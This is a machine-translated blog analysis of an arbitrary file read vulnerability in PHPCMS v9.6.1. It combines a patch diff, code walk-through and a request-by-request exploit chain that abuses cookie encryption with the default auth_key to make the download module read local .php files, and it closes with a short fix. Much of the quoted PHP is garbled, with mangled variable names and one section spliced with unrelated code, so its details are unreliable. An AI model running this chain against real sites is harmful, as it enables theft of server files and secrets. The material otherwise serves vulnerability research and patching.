How to use PHPCMSv9.6.1 arbitrary File Reading vulnerability Mining
This article mainly introduces how to use PHPCMSv9.6.1 arbitrary file reading vulnerability mining, has a certain reference value, friends in need can refer to. I hope you will learn a lot after reading this article. Next, let the editor take you to learn about it.
1. Preparation work & Fast scanning of vulnerability key points 1.1 pre-knowledge
Here we sort out the knowledge that needs to be mastered in this analysis:
The php native parse_str method automatically performs a urldecode, and if the second parameter is empty, it performs a similar extract operation.
The native empty method, which returns true for the string "".
Sys_auth in phpcms is symmetrically encrypted and it is theoretically impossible to construct a valid ciphertext without knowing auth_key.
1.2 Quick scan
First, diff v9.6.0 and v9.6.1, and found the following modifications in phpcms/modules/content/down.php:
-if (empty ($aqk)) showmessage (L ('illegal_parameters')); unset ($iMab / sys_auth) showmessage (L (' illegal_parameters')) + $aqik = safe_replace ($aqik); ^ M parse_str ($aqik); if (isset ($I)) $I = $id = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters') If (empty ($f)) showmessage (L ('url_invalid')); $allow_visitor = 1 intval + $id = intval ($id); ^ M + $modelid = intval ($modelid); ^ M + $catid = intval ($catid); ^ M $MODEL = getcache (' model','commons') $tablename = $this- > db- > table_name = $this- > db- > db_tablepre.$MODEL [$modelid] ['tablename']; $this- > db- > table_name = $tablename.'_data';@@-86, 6 + 90 @ class down {$axik = sys_auth ($aqk,' DECODE', $pc_auth_key); if (empty ($aqk)) showmessage (L ('illegal_parameters')) Unset; + $aqqk = safe_replace ($aqk); ^ M parse_str ($aqk); if (isset ($I)) $downid = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters') @ @-118 ext;+ 6 + 123 class down 7 @ @ class down {} $ext = fileext ($filename); $filename = date ('Ymd_his'). Random (3).'. $ext;+ $fileurl = str_replace (array ('),'', $fileurl) ^ M file_down ($fileurl, $filename);}}
Mainly modified the two methods init () and download (), the bold guess is that these two functions are wrong.
Public function init () {$aqunk = trim ($_ GET ['aqk']); if (! isset ($aqk)) showmessage (L (' illegal_parameters')); $aqunk = sys_auth ($aqik, 'DECODE', pc_base::load_config (' system','auth_key')); / / key point 1 if (empty ($aqk)) showmessage (L ('illegal_parameters')) Unset ($iGramings); $axik = safe_replace ($aqik); / / key point 2 parse_str ($aqk); / / key point 3 if (isset ($I)) $I = $id = intval ($I); if (! isset ($m) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters')) If (empty ($f)) showmessage (L ('url_invalid')); $allow_visitor = 1; $id = intval ($id); $modelid = intval ($modelid); $catid = intval ($catid);. If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iShaojianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjinshu..)! = FALSE) showmessage (L ('url_error')) / / key point 4 if (strpos ($f, 'http://')! = = FALSE | | strpos ($f,' ftp://')! = = FALSE | | strpos ($f,': / /') = = FALSE) {$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down') $axik = urlencode (sys_auth (sys_auth) ("iConfigurified, unloaded, downloading, loading, downloading, downloading, loading, downloading, downloading, }} public function download () {$aqik = trim ($_ GET ['aqk']); $pc_auth_key = md5 (pc_base::load_config (' system','auth_key'). $_ SERVER ['HTTP_USER_AGENT'].' down'); / / key point 6$ aqunk = sys_auth ($aqk, 'DECODE', $pc_auth_key) If (empty ($aqk)) showmessage (L ('illegal_parameters')); unset ($iGramGravity)); $aqik = safe_replace ($aqk); / / key point 7 parse_str ($aqk); / / key point 8 if (isset ($I)) $downid = intval ($I); if (! isset ($m)) showmessage (L (' illegal_parameters')) If (! isset ($modelid)) showmessage (L ('illegal_parameters')); if (empty ($f)) showmessage (L (' url_invalid')); if (! $I | | $m 3600) showmessage (L ('url_invalid')); if ($m) $fileurl = trim ($s). Trim ($fileurl) / / key point 10 if (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | cer | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $)) showmessage (L ('url_error')) / / key point 11 / / remote file if (strpos ($fileurl,': /') & & (strpos ($fileurl, pc_base::load_config ('system','upload_url')) = false) {/ / key point 12 header ("Location: $fileurl");} else {if ($d = = 0) {header ("Location:". $fileurl) / / key 13} else {$fileurl = str_replace (array (pc_base::load_config ('system','upload_url'),' /'), array (pc_base::load_config ('system','upload_path'), DIRECTORY_SEPARATOR), $fileurl); $filename = basename ($fileurl) / / key point 14 / / process Chinese file if (preg_match ("/ ^ ([\ s\ S] *?) ([\ x81 -\ xfe] [\ x40 -\ xfe]) ([\ s\ S] *?) /", $fileurl) {$filename = str_replace (array ("% 5C", "% 2F", "% 3A"), array ("\", "/") (), urlencode ($fileurl)) $filename = urldecode (basename ($filename)); / / key 15} $ext = fileext ($filename); / / key 16$ filename = date ('Ymd_his'). Random (3).'. $ext; $fileurl = str_replace (array (''),'', $fileurl) / / key 17 file_down ($fileurl, $filename); / / key 18}
The safe_replace function is as follows
Function safe_replace ($string) {$string = str_replace; $string = str_replace ('% 27th); $string = str_replace ('% 2527th); $string = str_replace ('*','', $string); $string = str_replace ('','', $string); $string = str_replace ('','', $string) $string = str_replace ('','', $string); $string = str_replace (';','', $string); $string = str_replace ('', $string); $string = str_replace ("{",'', $string); $string = str_replace ('}','', $string); $string = str_replace ('\','', $string); return $string;} 1.2 content/down module general flow analysis
The init method performs a validation based on the original $aaccounk, which contains the basic information of the file_down file, and generates, calls the
The schema of the url,url of the download method is $downurl='?m=content&c=down&a=download&a_k='.$a_k (certain conditions must be met.)
The download method receives $aqk, decodes it, decrypts the file information, and calls file_down ($fileurl, $filename) (certain conditions must be met)
Let's take a look at the file_down function. The first parameter, $filepath, is the variable that actually controls the file name of readfile. Readfile can read local files, so we construct a qualified $fileurl to bypass the above restrictions to complete the local file reading function!
Function file_down ($filepath, $filename =') {if (! $filename) $filename = basename ($filepath); if (is_ie ()) $filename = rawurlencode ($filename); $filetype = fileext ($filename); $filesize = sprintf ("% u", filesize ($filepath); if (ob_get_length ()! = false) @ ob_end_clean (); header ('Pragma: public') Header ('Last-Modified:' .gmdate ('D, d M Y Hpuri'). ' GMT'); header ('Cache-Control: no-store, no-cache, must-revalidate'); header (' Cache-Control: pre-check=0, post-check=0, max-age=0'); header ('Content-Transfer-Encoding: binary'); header (' Content-Encoding: none'); header ('Content-type:'. $filetype); header ('Content-Disposition: attachment; filename= ". $filename.'"); header (' Content-length:'. $filesize) Readfile ($filepath); exit;} 1.2.1$ fileurl variable Construction Analysis
If we want to read the .php ending file of the site, php cannot appear in $fileurl because of the existence of the key point 11, but you can see from key point 17 that the replacement has been made.
$fileurl = str_replace (array (''),'', $fileurl); / / KeyPoint 17
Then it is conceivable that we will construct a file suffix that conforms to .ph ([] +) p and will eventually be replaced with .php. And this sentence is added to 9.6.1, and it is more certain that this vulnerability is unique to 9.6.1.
Look up again.
If ($m) $fileurl = trim ($s). Trim ($fileurl); / / KeyPoint 10
If the variable $m is true, we can construct $fileurl by introducing the variable $s, and $fileurl is controlled by the variable $f.
$fileurl = trim ($f); $aqqk = safe_replace ($aqk); / / key 7parse_str ($aqk); / / KeyPoint 8
Through the parse_str to extract variables, it is easy to get the control $iGraingheadecompensionfrecinctreparence.We can construct $afork to control these variables here.
1.2.2$ aqk variable analysis
Look up again.
$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down'); / / key point 6$ aqik = sys_auth ($aqk,' DECODE', $pc_auth_key)
This key point 6 is important because the $pc_auth_key here is almost impossible to force out, but to get this encrypted $asigk only uses the same $pc_auth_key in the init () method. So we can only construct $abuttk through the init () method.
Now let's look at the init method.
$aqunk = trim ($_ GET ['aqk']); if (! isset ($aqk)) showmessage (L (' illegal_parameters')); $aqunk = sys_auth ($aqk, 'DECODE', pc_base::load_config (' system','auth_key')); / / KeyPoint 1
Here you can find that sys_auth 's auth actually uses the system's default auth_key. My intuition tells me that this may be the problem. Apart from this difference, the logic of the init method will not be repeated.
1.2.3 Summary
To sum up:
Index.php?m=content&c=down&a=init&a_k= tried to find a way to construct a suitable one.
The init method then constructs $adecik that conforms to the download method that can be decrypted.
Through the control of $atransik, the vulnerability is exploited by indirectly controlling the variables such as $irecoery, freguency, mrecoveryreachsrecoveryand so on.
two。 Vulnerability mining process 2.1 the $axik construction accepted by the init method 2.1.1 explores the $aquark construction process in the normal process
A quick scan of the source code to see where calls to the init method can be produced is the logic of the regular download model.
$aqk of the init method is generated in phpcms/modules/content/fields/downfile and phpcms/modules/content/fields/downfiles
Function downfile ($field, $value) {extract (string2array ($this- > fields [$field] ['setting'])); $list_str = array (); if ($value) {$value_arr = explode (' |', $value); $fileurl = $value_arr ['0']; if ($fileurl) {$sel_server = $value_arr ['1']? Explode (',', $value_arr ['1']):'; $server_list = getcache ('downservers','commons') If (is_array ($server_list)) {foreach ($server_list as $_ k = > $_ v) {if ($value & & is_array ($sel_server) & & in_array ($_ kpime server)) {$downloadurl = $_ v [siteurl]. $fileurl If ($downloadlink) {$aqurk = urlencode (sys_auth ("iDeploythis-> id&s=$_ v [siteurl] & mouldl downloadtypewritten modelidloaded packages-> ENCODE', pc_base::load_config ('system','auth_key') $list_str [] = "{$_ v [sitename]}";} else {$list_str [] = "{$_ v [sitename]}" }} return $list_str;}
However, it is found that the logic of authority verification and restriction in content_input and content_output logic is relatively perfect, and it is basically impossible to make use of it.
2.1.2 cool techs Construction $asigk
Since sys_auth is symmetrically encrypted, can we find a place where the same key is generated and conduct a full-text search of sys_auth to see if there is a context that meets the following criteria
The way is ENCODE.
Auth_key is the default of the system: pc_base::load_config ('system','auth_key')
And the content to be encrypted is controllable (it can be our $_ REQUEST data, or it can be constructed)
The encrypted data is echoed.
A total of 58 matches were found, but none fit the context, but we can note that
Public static function set_cookie ($var, $value ='', $time = 0) {$time = $time > 0? $time: ($value = =''? SYS_TIME-3600: 0); $s = $_ SERVER ['SERVER_PORT'] = =' 443'? 1: 0; $var = pc_base::load_config ('system','cookie_pre'). $var; $_ COOKIE [$var] = $value If (is_array ($value)) {foreach ($value as $k = > $v) {setcookie ($var.' ['.$ k.']', sys_auth ($v, 'ENCODE'), $time, pc_base::load_config (' system','cookie_path'), pc_base::load_config ('system','cookie_domain'), $s) }} else {setcookie ($var, sys_auth ($value, 'ENCODE'), $time, pc_base::load_config (' system','cookie_path'), pc_base::load_config ('system','cookie_domain'), $s) }} public static function get_cookie ($var, $default =') {$var = pc_base::load_config ('system','cookie_pre'). $var; return isset ($_ COOKIE [$var])? Sys_auth ($_ COOKIE [$var], 'DECODE'): $default;}
Param::set_cookie param::get_cookie uses the default auth_key for cookie encryption.
Immediately conduct a full-text search of set_cookie and find contexts that meet the following criteria.
The content of set_cookie is controllable.
The trigger conditions for set_cookie are as small as possible.
A total of 122 matches were found and two better triggers were found.
Swfupload_json/swfupload_del method in phpcms/moduels/attachment/attachments.php and swfupload_json/del method in phpcms/modules/video/video.php
The video module requires administrator privileges, so forget it. The attachment module can be called as long as it is a registered user.
Let's take a look at swfupload_json.
Public function swfupload_json () {$arr ['aid'] = intval ($_ GET [' aid']); $arr ['src'] = safe_replace (trim ($_ GET [' src'])); $arr ['filename'] = urlencode (safe_replace ($_ GET [' filename']); $json_str = json_encode ($arr); $att_arr_exist = param::get_cookie ('att_json') $att_arr_exist_tmp = explode ('| |', $att_arr_exist); if (is_array ($att_arr_exist_tmp) & & in_array ($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist? $att_arr_exist.' |'. $json_str: $json_str Param::set_cookie ('att_json',$json_str); return true;}}
We can construct it through src and filename. In the end, I chose src, which will be a json string, and of course multiple will be split with "| |".
After we register a user to log in, call
Index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
The resulting data will be
{"aid": 888," src ":" fobnn "," filename ":"}
Then we get the set-cookie ["att_json"] in response.header.
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
Let's modify the down.php- > init method to output the $aqk after DECODE.
Then we call
Index.php?m=content&c=down&a=init&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
Exciting, the init method successfully DECODE $aqk
Well, now that our idea has been verified to work, it's time to construct a usable payload.
2.2 json and parse_str
What needs to be solved now is to parse_str from json and to be able to parse out variables such as $iRegent, m, and so on.
{"aid": 888," src ":" fobnn=q&p1=12312 "," filename ":"}
Parsing {"aid": 888," src ":" fobnn=q and p11412312 "," filename ":"}
It means that parse_str parsing can still be implemented, just close it before and after, and fill in the variables we need in the middle, for example
{"aid": 888," src ":" pad=x&fobnn=q&p1=12312&pade= "," filename ":"}
Then fobnn and p1 are parsed normally, and src needs to be submitted by URLENCODE, which does not cause php parsing errors.
2.3Constructing $aqk that conforms to the init method
Let's first construct a $aqik that conforms to the init method so that the normal process can be completed.
If (isset ($I)) $I = $id = intval ($I); if (! isset ($m)) showmessage (L ('illegal_parameters')); if (! isset ($modelid) | |! isset ($catid) showmessage (L (' illegal_parameters')); if (empty ($f) showmessage (L ('url_invalid')); $allow_visitor = 1; $id = intval ($id); $modelid = intval ($modelid) $catid = intval ($catid)
Construct a pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade= to satisfy the condition.
Index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
Get
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid": 1, "src": "pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=", "filename": ""}
And then submit
Index.php?m=content&c=down&a=init&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
Success! The page has generated a url that calls the download method
Body, html {background _ FFF _ important;} 2.4 to construct the final payload bypassing restrictions
At present, the normal process has been worked out, focusing on how to construct a matching $fileurl. Let's take a look at the init method.
If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iShaojianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjinshu..)! = FALSE) showmessage (L ('url_error')) If (strpos ($f, 'http://')! = = FALSE | | strpos ($f,' ftp://')! = = FALSE | | strpos ($f,': / /') = = FALSE) {$pc_auth_key = md5 (pc_base::load_config ('system','auth_key'). $_ SERVER [' HTTP_USER_AGENT']. 'down') $modelid = urlencode (sys_auth) (else {$downurl = $modelid, 'ENCODE', $pc_auth_key)); else {$downurl = $f;}
There are still a lot of restrictions on f, including regular blacklist detection php,asp and so on. There can be no "..", ":\"
Fortunately, we saw that in the download function
If ($m) $fileurl = trim ($s). Trim ($fileurl); / / KeyPoint 10
We can construct it through $s by controlling $m, while $m and $s participate in the construction of $aqk.
In the init method, we can construct a similar m=1&s=.php&f=index to bypass the detection of the init method, and we focus on the download method.
/ / the regular detection code will not be posted, and the detection of $iGrainecomparence, modelidrecoverytrecoveryIP. If (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | asa | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iLiangjianzhengf) | | strpos ($f, ":\\")! = FALSE | strpos ($fjimeng..)! = FALSE) showmessage (L ('url_error')); $fileurl = trim ($f)
Through this construction, the above test can certainly be bypassed, but it is found that there will be a problem with the following test, and finally $fileurl will become index.php.
If ($m) $fileurl = trim ($s). Trim ($fileurl); if (preg_match ('/ (php | phtml | php3 | php4 | jsp | dll | asp | cer | shtml | shtm | aspx | asax | cgi | fcgi | pl) (\. | $) / iPrecipient) showmessage (L ('url_error')); / / remote file
Okay, I saw it in the fast scan.
$fileurl = str_replace (array (''),'', $fileurl); / / KeyPoint 17
In addition, I saw
If ($d = = 0) {header ("Location:". $fileurl); 2.4.1 urlencode Encoding ""
So construct d=1&m=1&f=.puserid = $_ SESSION ['userid']? $_ SESSION [' userid']: (param::get_cookie ('_ userid')? Param::get_cookie ('_ userid'): sys_auth ($_ POST ['userid_flash'],' DECODE')); $this- > isadmin = $this- > admin_username = $_ SESSION ['roleid']? 1: 0; $this- > groupid = param::get_cookie (' _ groupid')? Param::get_cookie ('_ groupid'): 8; / / determine whether to log in to if (empty ($this- > userid)) {showmessage (L ('please_login','','member'));}}
Can be found
Sys_auth ($_ POST ['userid_flash'],' DECODE')
$this- > userid can be controlled and there is no complex permission check, and it is encrypted by default AUTH_KEY.
The full text looks for the unlimited set_cookie, and finds that the WAP module can use
Pc_base::load_sys_class ('format',', 0); class index {function _ construct () {$this- > db = pc_base::load_model ('content_model'); $this- > siteid = isset ($_ GET [' siteid']) & & (intval ($_ GET ['siteid']) > 0)? Intval (trim ($_ GET ['siteid'])): (param::get_cookie (' siteid')? Param::get_cookie ('siteid'): 1); param::set_cookie (' siteid',$this- > siteid); $this- > wap_site = getcache ('wap_site','wap'); $this- > types = getcache (' wap_type','wap'); $this- > wap = $this- > wap_site [$this- > siteid] Define ('WAP_SITEURL', $this- > wap [' domain']? $this- > wap ['domain'].' index.php?': APP_PATH.'index.php?m=wap&siteid='.$this- > siteid); if ($this- > wap ['status']! = 1) exit (L (' wap_close_status'));}
There is no restriction that we can control the param::set_cookie ('siteid',$this- > siteid) by $_ GET [' siteid'], and there is a file for the WAP module by default, but it does not need to be opened.
3.EXP writing
The process is as follows:
Index.php?m=wap&c=index&siteid=1 gets the cookie with the name siteid.
Visit index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
& src= wants to read the payload of the file and sets the post field userid_flash to the cookie obtained in step 1 when accessing it.
After the response is successful, get the cookie named att_json
Access the att_json obtained by index.php?m=content&c=down&a=init&a_k= to construct the final exploit path
You can intercept the generated $aqk directly.
Visit the $aqk intercepted by index.php?m=content&c=download&a=init&a_k=. Complete the utilization.
4. Repair scheme
The $aencrypk encryption and decryption sys_auth in the init method does not use the default key.
File_down filtered $fileurl again before.
Thank you for reading this article carefully. I hope the editor will share how to use PHPCMSv9.6.1 arbitrary files to read vulnerabilities to help everyone. At the same time, I also hope you can support us, pay attention to the industry information channel, find problems and detailed solutions are waiting for you to learn!